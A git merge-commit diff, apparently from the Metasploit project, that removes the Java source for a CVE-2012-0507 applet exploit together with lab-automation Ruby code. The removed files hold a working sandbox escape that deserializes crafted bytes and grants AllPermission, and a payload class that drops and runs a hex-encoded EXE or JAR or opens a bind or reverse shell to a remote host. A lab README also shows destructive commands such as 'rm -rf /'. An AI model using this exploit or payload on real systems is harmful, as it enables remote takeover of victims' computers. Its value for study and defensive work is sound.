Merge branch 'master' into bap-refactor
Conflicts: external/source/exploits/CVE-2012-0507/Help.java external/source/exploits/CVE-2012-0507/Makefile external/source/exploits/CVE-2012-0507/msf/x/Help.java external/source/exploits/CVE-2012-0507/src/a/Exploit.java external/source/exploits/CVE-2012-0507/src/a/Help.java
This commit is contained in:
Regular → Executable
BIN
Binary file not shown.
+15
-9
@@ -1,17 +1,23 @@
|
||||
JAR = CVE-2012-0507.jar
|
||||
|
||||
JAR_FILE = CVE-2012-0507.jar
|
||||
CLASSES = \
|
||||
msf/x/Exploit.java \
|
||||
msf/x/Help.java \
|
||||
msf/x/PayloadX.java
|
||||
|
||||
all: ${JAR_FILE}
|
||||
|
||||
${JAR_FILE}: src/a/Exploit.java src/a/Help.java src/msf/x/PayloadX.java
|
||||
javac -d bin -target 1.2 -source 1.2 src/a/*.java src/msf/x/*.java
|
||||
(cd bin; jar cvf ../${JAR_FILE} `find . -name *.class`)
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -d bin -source 1.2 -target 1.2 $*.java
|
||||
|
||||
install: all
|
||||
mv ${JAR_FILE} ../../../../data/exploits/
|
||||
all: $(CLASSES:.java=.class)
|
||||
(cd bin; jar cvf ../$(JAR) *)
|
||||
|
||||
install:
|
||||
mv $(JAR) ../../../../data/exploits/
|
||||
|
||||
clean:
|
||||
rm -f ${JAR_FILE}
|
||||
find bin -name '*.class' -print0 | xargs -0 rm -f
|
||||
rm -f $(JAR)
|
||||
rm -rf bin/*
|
||||
|
||||
|
||||
|
||||
@@ -1,191 +0,0 @@
|
||||
package msf.x;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class PayloadX implements PrivilegedExceptionAction
|
||||
{
|
||||
// This will contain a hex string of the native payload to drop and execute.
|
||||
public static String data = null;
|
||||
public static String jar = null;
|
||||
// If no native payload is set we get either a java bind shell or a java
|
||||
// reverse shell.
|
||||
public static String lhost = null;
|
||||
public static int lport = 4444;
|
||||
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public static byte[] StringToBytes( String s )
|
||||
{
|
||||
byte[] data = new byte[s.length() / 2];
|
||||
|
||||
for( int i = 0 ; i < s.length() ; i += 2 )
|
||||
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public Object run() throws Exception
|
||||
{
|
||||
//System.out.println("Running");
|
||||
// if the native payload data has not been set just return for now, it
|
||||
// will be set by the next time we reach here.
|
||||
if( PayloadX.data == null && PayloadX.jar == null )
|
||||
return null;
|
||||
//System.out.println("have either data or jar");
|
||||
|
||||
try
|
||||
{
|
||||
String os = System.getProperty( "os.name" );
|
||||
|
||||
//System.out.println("OS: " + os);
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
if( PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
|
||||
{
|
||||
//System.out.println("no, exe/jar. Doing shell");
|
||||
Socket client_socket = null;
|
||||
|
||||
String shell = "/bin/sh";
|
||||
|
||||
if( os.indexOf( "Windows" ) >= 0 )
|
||||
shell = "cmd.exe";
|
||||
|
||||
if( PayloadX.lhost == null )
|
||||
{
|
||||
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
|
||||
client_socket = server_socket.accept();
|
||||
}
|
||||
else
|
||||
{
|
||||
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
|
||||
}
|
||||
|
||||
if( client_socket != null )
|
||||
{
|
||||
Process process = exec( shell );
|
||||
if( process != null )
|
||||
{
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
|
||||
{
|
||||
//System.out.println("Dropping JAR");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.jar ) );
|
||||
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
|
||||
}
|
||||
else
|
||||
{
|
||||
//System.out.println("Dropping EXE");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.data ) );
|
||||
if( os.indexOf( "Windows" ) < 0 )
|
||||
{
|
||||
exec( "chmod 755 " + path );
|
||||
}
|
||||
exec( path );
|
||||
new File( path ).delete();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public Process exec( String path )
|
||||
{
|
||||
Process p = null;
|
||||
//System.out.println( "Executing" );
|
||||
try {
|
||||
p = Runtime.getRuntime().exec( path );
|
||||
if( p == null )
|
||||
{
|
||||
//System.out.println( "Null process, crap" );
|
||||
}
|
||||
p.waitFor();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
public void writeFile( String path, byte[] data )
|
||||
{
|
||||
//System.out.println( "Writing file" );
|
||||
try {
|
||||
FileOutputStream fos = new FileOutputStream( path );
|
||||
|
||||
fos.write( data );
|
||||
fos.close();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
}
|
||||
|
||||
public PayloadX()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged( this );
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
package a;
|
||||
|
||||
import java.applet.Applet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.util.concurrent.atomic.AtomicReferenceArray;
|
||||
import a.*;
|
||||
|
||||
// Referenced classes of package a:
|
||||
// Help
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
public static byte[] StringToBytes(String s)
|
||||
{
|
||||
byte abyte0[] = new byte[s.length() / 2];
|
||||
for(int i = 0; i < s.length(); i += 2)
|
||||
abyte0[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
|
||||
|
||||
return abyte0;
|
||||
}
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
String as[] = {
|
||||
"ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C020000787000000002", "757200095B4C612E48656C703BFE2C941188B6E5FF02", "000078700000000170737200306A6176612E7574696C", "2E636F6E63757272656E742E61746F6D69632E41746F", "6D69635265666572656E63654172726179A9D2DEA1BE", "65600C0200015B000561727261797400135B4C6A6176", "612F6C616E672F4F626A6563743B787071007E0003"
|
||||
};
|
||||
StringBuilder stringbuilder = new StringBuilder();
|
||||
for(int i = 0; i < as.length; i++)
|
||||
stringbuilder.append(as[i]);
|
||||
|
||||
ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
|
||||
Object aobj[] = (Object[])(Object[])objectinputstream.readObject();
|
||||
Help ahelp[] = (Help[])(Help[])aobj[0];
|
||||
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
|
||||
ClassLoader classloader = getClass().getClassLoader();
|
||||
atomicreferencearray.set(0, classloader);
|
||||
Help _tmp = ahelp[0];
|
||||
|
||||
String data = getParameter( "data" );
|
||||
String jar = getParameter( "jar" );
|
||||
String lhost = getParameter( "lhost" );
|
||||
String lport = getParameter( "lport" );
|
||||
System.out.println("go go go");
|
||||
Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
|
||||
}
|
||||
catch(Exception exception) {
|
||||
System.out.println(exception.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
package a;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.net.URL;
|
||||
import java.security.AllPermission;
|
||||
import java.security.CodeSource;
|
||||
import java.security.Permissions;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.security.cert.Certificate;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class Help extends ClassLoader implements Serializable{
|
||||
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {
|
||||
|
||||
String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };
|
||||
String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };
|
||||
Class cls = null;
|
||||
|
||||
try
|
||||
{
|
||||
for( int index=0 ; index<classNames.length ; index++ )
|
||||
{
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = expl.getClass().getResourceAsStream( classPaths[index] );
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
URL url = new URL( "file:///" );
|
||||
|
||||
Certificate[] certs = new Certificate[0];
|
||||
|
||||
Permissions perm = new Permissions();
|
||||
perm.add( new AllPermission() );
|
||||
|
||||
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
|
||||
|
||||
cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );
|
||||
Class class_cls = cls.getClass();
|
||||
System.out.println("The type of the object is: " + class_cls.getName());
|
||||
}
|
||||
|
||||
// cls will end up being the PayloadX class
|
||||
if( cls != null )
|
||||
{
|
||||
// reflect into the PayloadX class to get these three fields
|
||||
Field payload_data = cls.getField( "data" );
|
||||
Field payload_jar = cls.getField( "jar" );
|
||||
Field payload_lhost = cls.getField( "lhost" );
|
||||
Field payload_lport = cls.getField( "lport" );
|
||||
|
||||
// instantiate the PayloadX object once so as we can set the native payload data
|
||||
Object obj = cls.newInstance();
|
||||
|
||||
// set the native payload data, lhost and lport
|
||||
payload_data.set( obj, data );
|
||||
payload_jar.set( obj, jar );
|
||||
payload_lhost.set( obj, lhost );
|
||||
payload_lport.setInt( obj, lport );
|
||||
|
||||
// instantiate a second PayloadX object to perform the actual payload
|
||||
obj = cls.newInstance();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {
|
||||
System.out.println(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,197 +0,0 @@
|
||||
package msf.x;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class PayloadX implements PrivilegedExceptionAction
|
||||
{
|
||||
// This will contain a hex string of the native payload to drop and execute.
|
||||
public static String data = null;
|
||||
public static String jar = null;
|
||||
// If no native payload is set we get either a java bind shell or a java
|
||||
// reverse shell.
|
||||
public static String lhost = null;
|
||||
public static int lport = 4444;
|
||||
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public static byte[] StringToBytes( String s )
|
||||
{
|
||||
byte[] data = new byte[s.length() / 2];
|
||||
|
||||
for( int i = 0 ; i < s.length() ; i += 2 )
|
||||
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public Object run() throws Exception
|
||||
{
|
||||
//System.out.println("Running");
|
||||
//System.setSecurityManager(null);
|
||||
//System.out.println("woot");
|
||||
// if the native payload data has not been set just return for now, it
|
||||
// will be set by the next time we reach here.
|
||||
if( PayloadX.data == null && PayloadX.jar == null )
|
||||
return null;
|
||||
//System.out.println("have either data or jar");
|
||||
|
||||
try
|
||||
{
|
||||
String os = System.getProperty( "os.name" );
|
||||
|
||||
//System.out.println("OS: " + os);
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
if(
|
||||
(PayloadX.data == null || PayloadX.data.length() == 0) &&
|
||||
(PayloadX.jar == null || PayloadX.jar.length() == 0)
|
||||
) {
|
||||
//System.out.println("no, exe/jar. Doing shell");
|
||||
Socket client_socket = null;
|
||||
|
||||
String shell = "/bin/sh";
|
||||
|
||||
if( os.indexOf( "Windows" ) >= 0 )
|
||||
shell = "cmd.exe";
|
||||
|
||||
if( PayloadX.lhost == null )
|
||||
{
|
||||
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
|
||||
client_socket = server_socket.accept();
|
||||
}
|
||||
else
|
||||
{
|
||||
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
|
||||
}
|
||||
|
||||
if( client_socket != null )
|
||||
{
|
||||
Process process = exec( shell );
|
||||
if( process != null )
|
||||
{
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
|
||||
{
|
||||
//System.out.println("Dropping JAR");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.jar ) );
|
||||
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
|
||||
}
|
||||
else
|
||||
{
|
||||
//System.out.println("Dropping EXE");
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
|
||||
|
||||
writeFile( path, StringToBytes( PayloadX.data ) );
|
||||
if( os.indexOf( "Windows" ) < 0 )
|
||||
{
|
||||
exec( "chmod 755 " + path );
|
||||
}
|
||||
exec( path );
|
||||
new File( path ).delete();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {
|
||||
//System.out.println("OMG Exception!!11!");
|
||||
//System.out.println(e);
|
||||
//e.printStackTrace();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public Process exec( String path )
|
||||
{
|
||||
Process p = null;
|
||||
//System.out.println( "Executing" );
|
||||
try {
|
||||
p = Runtime.getRuntime().exec( path );
|
||||
if( p == null )
|
||||
{
|
||||
//System.out.println( "Null process, crap" );
|
||||
}
|
||||
p.waitFor();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
public void writeFile( String path, byte[] data )
|
||||
{
|
||||
//System.out.println( "Writing file" );
|
||||
try {
|
||||
FileOutputStream fos = new FileOutputStream( path );
|
||||
|
||||
fos.write( data );
|
||||
fos.close();
|
||||
} catch( Exception e ) {
|
||||
//System.out.println(e);
|
||||
}
|
||||
}
|
||||
|
||||
public PayloadX()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged( this );
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
This folder contains the libraries necessary to run the lab plugin, and can also be used in a standalone way to automate virtual machines.
|
||||
|
||||
#########
|
||||
CONCEPTS:
|
||||
#########
|
||||
|
||||
The lab provides a clean interface to common vm functions such as start / stop / snapshot / revert and even running system commands or higher-level functions like opening a browser to a specified URL. It's designed so the different VM technologies have a similiar interface, and you can ignore the specifics of the VM tech. The majority of the functionality is implemented in the form of drivers and controllers. Drivers implement the underlying command for each vm software (such as start/stop/revert), and controllers implement the commands which apply to all vms (such as listing all running vms, or cloning a vm).
|
||||
|
||||
If you're interested in porting a vm software (see below), please take a look at the workstation_driver.rb and the workstation_controller.rb -- This is a simple driver / controller in the lab, and you can simply copy / modify this to implement a new driver & controller for the software.
|
||||
|
||||
##########################
|
||||
SUPPORTED VM TECHNOLOGIES:
|
||||
##########################
|
||||
|
||||
NOTE: The lab libraries have only been tested on linux, porting to windows is not planned at this time.
|
||||
|
||||
Implemented:
|
||||
- workstation (Tested against 7.x)
|
||||
- remote_workstation (Tested against 7.x)
|
||||
- virtualbox (Tested against 4.x)
|
||||
- remote_esx (VMware ESX Host Agent 4.1.0 build-348481)
|
||||
|
||||
Partially Implemented:
|
||||
- amazon_ec2 (via fog gem)
|
||||
- dynagen
|
||||
|
||||
Need Implementation:
|
||||
- qemu
|
||||
- qemudo
|
||||
- others?
|
||||
|
||||
#################
|
||||
PLATFORM SUPPORT:
|
||||
#################
|
||||
|
||||
You will need to have this code running on a linux box, Currently this has only been run / tested on Ubuntu 9.04 -> 10.04, though it should run on any linux with an ssh client and the dependencies below. Remote VM Hosts will need to be linux as well, though other platforms may work (untested). If you're interested in porting it to windows, please contact me (jcran).
|
||||
|
||||
Platform Dependencies:
|
||||
- whatever vm software is necessary for the driver you're using (see SUPPORTED VM TECHNOLOGIES above)
|
||||
- net/scp - the gem (net-scp). Required to copy files to/from the devices in the case that tools are not installed. Not necessary if tools are installed.
|
||||
- fog - require to use the amazon_ec2 driver
|
||||
|
||||
######################
|
||||
MSFCONSOLE LAB PLUGIN:
|
||||
######################
|
||||
|
||||
BACKGROUND:
|
||||
|
||||
The lab plugin for msfconsole adds a number of commands which may be useful if you're interested in automating remote hosts with rc scripts, or if you need to control targets / support systems while utilizing the metasploit console. A potential use case is testing an IPS / IDS, and resetting the target after running each exploit.
|
||||
|
||||
USAGE:
|
||||
|
||||
Here's some example usage for the lab plugin.
|
||||
|
||||
msf> load lab // Loads the lab plugin
|
||||
msf> lab_load <path_to_lab_file> // Loads from a lab configuration file. See data/lab/test_targets.yml for an example
|
||||
msf> lab_load_dir workstation /path/to/vmx/files // Loads from a local directory.
|
||||
msf> lab_load_running remote_esx root esx_server // Loads all running vms.
|
||||
msf> lab_start vm1 // Start a vm which was loaded above
|
||||
msf> lab_snapshot vm1 snapshot_1 // Snapshot a vm as 'snapshot_1'
|
||||
msf> lab_run_command ("rm -rf /") // oops!
|
||||
msf> lab_show // Show all vms that we're aware of
|
||||
msf> lab_show_running // Show only running vms
|
||||
msf> lab_start vm2 // Start another vm
|
||||
msf> lab_suspend vm1 // Suspend a vm
|
||||
msf> lab_revert all snapshot_1 // Revert all vms back to 'snapshot_1'
|
||||
|
||||
###############
|
||||
STANDALONE API:
|
||||
###############
|
||||
|
||||
BACKGROUND:
|
||||
|
||||
The lab libraries add tons of useful functionality that isn't exposed through the lab plugin, such as the ability to run commands on hosts. This library can serve as an excellent base for more complex operations on a remote host as well.
|
||||
|
||||
USAGE:
|
||||
|
||||
You must first create a yaml file which describes your vm. See data/lab/test_targets.yml for an example.
|
||||
|
||||
require 'vm_controller'
|
||||
vm_controller = ::Lab::Controllers::VmController.new(YAML.load_file(lab_def))
|
||||
vm_controller['vm1'].start
|
||||
vm_controller['vm1'].snapshot("clean")
|
||||
vm_controller['vm1'].run_command("rm /etc/resolv.conf")
|
||||
vm_controller['vm1'].open_uri("http://autopwn:8080")
|
||||
vm_controller['vm1'].revert("clean")
|
||||
vm_controller['vm1'].revert("clean")
|
||||
@@ -1,15 +0,0 @@
|
||||
This is a list of basic priorities for the lab code...
|
||||
|
||||
* Implement more technologies
|
||||
|
||||
a) finish amazon ec2 (via fog)
|
||||
b) qemu
|
||||
c) qemudo
|
||||
d) kvm
|
||||
e) other cloud technologies (newservers, slicehost/rackspace,etc)
|
||||
|
||||
* Implement a cloning function on each controller
|
||||
|
||||
* Support Windows as a host platform. Currently all the code assumes a linux host is running it. The same applies for the remote_* drivers -- they've not been tested on windows.
|
||||
|
||||
* Consolidate the remote_system_command code & provide a filter. Create an unsafe_system_command and unsafe_remote_system_command function call for when we control the entire string.
|
||||
@@ -1,14 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module DynagenController
|
||||
|
||||
def self.running_list
|
||||
raise "Unsupported"
|
||||
end
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
raise "Unsupported"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,6 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module FogController
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,62 +0,0 @@
|
||||
# This controller was built against:
|
||||
# VMware ESX Host Agent 4.1.0 build-348481
|
||||
|
||||
module Lab
|
||||
module Controllers
|
||||
module RemoteEsxController
|
||||
|
||||
# Note that 3.5 was different (vmware-vim-cmd)
|
||||
VIM_CMD = 'vim-cmd'.freeze
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
# Does this method really even make sense for esx?
|
||||
return "Unsupported :("
|
||||
end
|
||||
|
||||
def self.running_list(user, host)
|
||||
user.gsub!(/(\W)*/, '')
|
||||
host.gsub!(/(\W)*/, '')
|
||||
|
||||
# first get all registered vms
|
||||
registered_vms = self.get_vms(user, host) || []
|
||||
running_vms = []
|
||||
|
||||
# now let's see which ones are running
|
||||
# TODO: this is ghetto, would be better not to connect repeatedly
|
||||
registered_vms.each do |vm|
|
||||
remote_cmd = "ssh #{user}@#{host} \"#{VIM_CMD} vmsvc/power.getstate #{vm[:id]}\""
|
||||
raw = `#{remote_cmd}`
|
||||
running_vms << vm if raw =~ /Powered on/
|
||||
end
|
||||
|
||||
return running_vms
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def self.get_vms(user, host)
|
||||
user.gsub!(/(\W)*/, '')
|
||||
host.gsub!(/(\W)*/, '')
|
||||
|
||||
vms = [] # array of VM hashes
|
||||
remote_cmd = "ssh #{user}@#{host} \"#{VIM_CMD} vmsvc/getallvms | grep ^[0-9] | sed 's/[[:blank:]]\\{3,\\}/ /g'\""
|
||||
raw = `#{remote_cmd}`.split("\n")
|
||||
|
||||
raw.each do |line|
|
||||
# So effing ghetto
|
||||
id_and_name = line.split('[datastore').first
|
||||
id = id_and_name.split(' ').first
|
||||
|
||||
## TODO - there's surely a better way to do this.
|
||||
name_array = id_and_name.split(' ')
|
||||
name_array.shift
|
||||
name = name_array.join(' ')
|
||||
vms << {:id => id, :name => name}
|
||||
end
|
||||
|
||||
return vms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,22 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module RemoteWorkstationController
|
||||
|
||||
def self.running_list(user, host)
|
||||
user.gsub!(/(\W)*/, '')
|
||||
host.gsub!(/(\W)*/, '')
|
||||
|
||||
remote_cmd = "ssh #{user}@#{host} \"vmrun list nogui\""
|
||||
vm_list = `#{remote_cmd}`.split("\n")
|
||||
vm_list.shift
|
||||
|
||||
return vm_list
|
||||
end
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
|
||||
return vm_list
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,25 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module VirtualBoxController
|
||||
|
||||
def self.running_list
|
||||
vm_names_and_uuids = `VBoxManage list runningvms`
|
||||
return vm_names_and_uuids.scan(/\"(.*)\" {.*}/).flatten
|
||||
end
|
||||
|
||||
def self.config_list
|
||||
vm_names_and_uuids = `VBoxManage list vms`
|
||||
return vm_names_and_uuids.scan(/\"(.*)\" {.*}/).flatten
|
||||
end
|
||||
|
||||
def self.config_list_uuid
|
||||
vm_names_and_uuids = `VBoxManage list vms`
|
||||
return vm_names_and_uuids.scan(/\".*\" {(.*)}/).flatten
|
||||
end
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
vm_list = Find.find(basepath).select { |f| f =~ /\.xml$/ }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,17 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module WorkstationController
|
||||
|
||||
def self.running_list
|
||||
vm_list = `vmrun list`.split("\n")
|
||||
vm_list.shift
|
||||
return vm_list
|
||||
end
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
|
||||
return vm_list
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,19 +0,0 @@
|
||||
module Lab
|
||||
module Controllers
|
||||
module WorkstationVixrController
|
||||
|
||||
def self.running_list
|
||||
vm_list = `vmrun list`.split("\n")
|
||||
vm_list.shift
|
||||
|
||||
return vm_list
|
||||
end
|
||||
|
||||
def self.dir_list(basepath=nil)
|
||||
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
|
||||
|
||||
return vm_list
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,10 +0,0 @@
|
||||
require 'controller/workstation_controller'
|
||||
require 'controller/virtualbox_controller'
|
||||
require 'controller/fog_controller'
|
||||
require 'controller/dynagen_controller'
|
||||
require 'controller/remote_workstation_controller'
|
||||
require 'controller/remote_esx_controller'
|
||||
#require 'controller/qemu_controller'
|
||||
#require 'controller/qemudo_controller'
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
require 'vm_driver'
|
||||
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
|
||||
#
|
||||
# To use this driver, you have to have a lab which is preconfigured. The best / easiest
|
||||
# way i've found to to set up a lab is GNS3
|
||||
#
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
class DynagenDriver < VmDriver
|
||||
def initialize(config,dynagen_config)
|
||||
super(config)
|
||||
@running = false
|
||||
@dynagen_platform = filter_command(dynagen_config['dynagen_platform'])
|
||||
end
|
||||
|
||||
def start
|
||||
# TODO - write the location-file to a temp-file
|
||||
# and set the autostart property
|
||||
|
||||
## start background dynamips process
|
||||
system_command("dynamips -H #{@dynagen_platform} &")
|
||||
system_command("dynagen #{@location}")
|
||||
@running = true
|
||||
end
|
||||
|
||||
def stop
|
||||
system_command("killall dynagen")
|
||||
@running = false
|
||||
end
|
||||
|
||||
def cleanup
|
||||
`killall dynagen`
|
||||
`killall dynamips`
|
||||
@running = false
|
||||
end
|
||||
|
||||
def running?
|
||||
return @running
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,164 +0,0 @@
|
||||
require 'vm_driver'
|
||||
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
class FogDriver < VmDriver
|
||||
|
||||
def initialize(config,fog_config)
|
||||
|
||||
super(config)
|
||||
@fog_config = fog_config
|
||||
|
||||
# Soft dependency
|
||||
begin
|
||||
require 'fog'
|
||||
rescue LoadError
|
||||
raise "WARNING: Library fog not found. Could Not Create Driver"
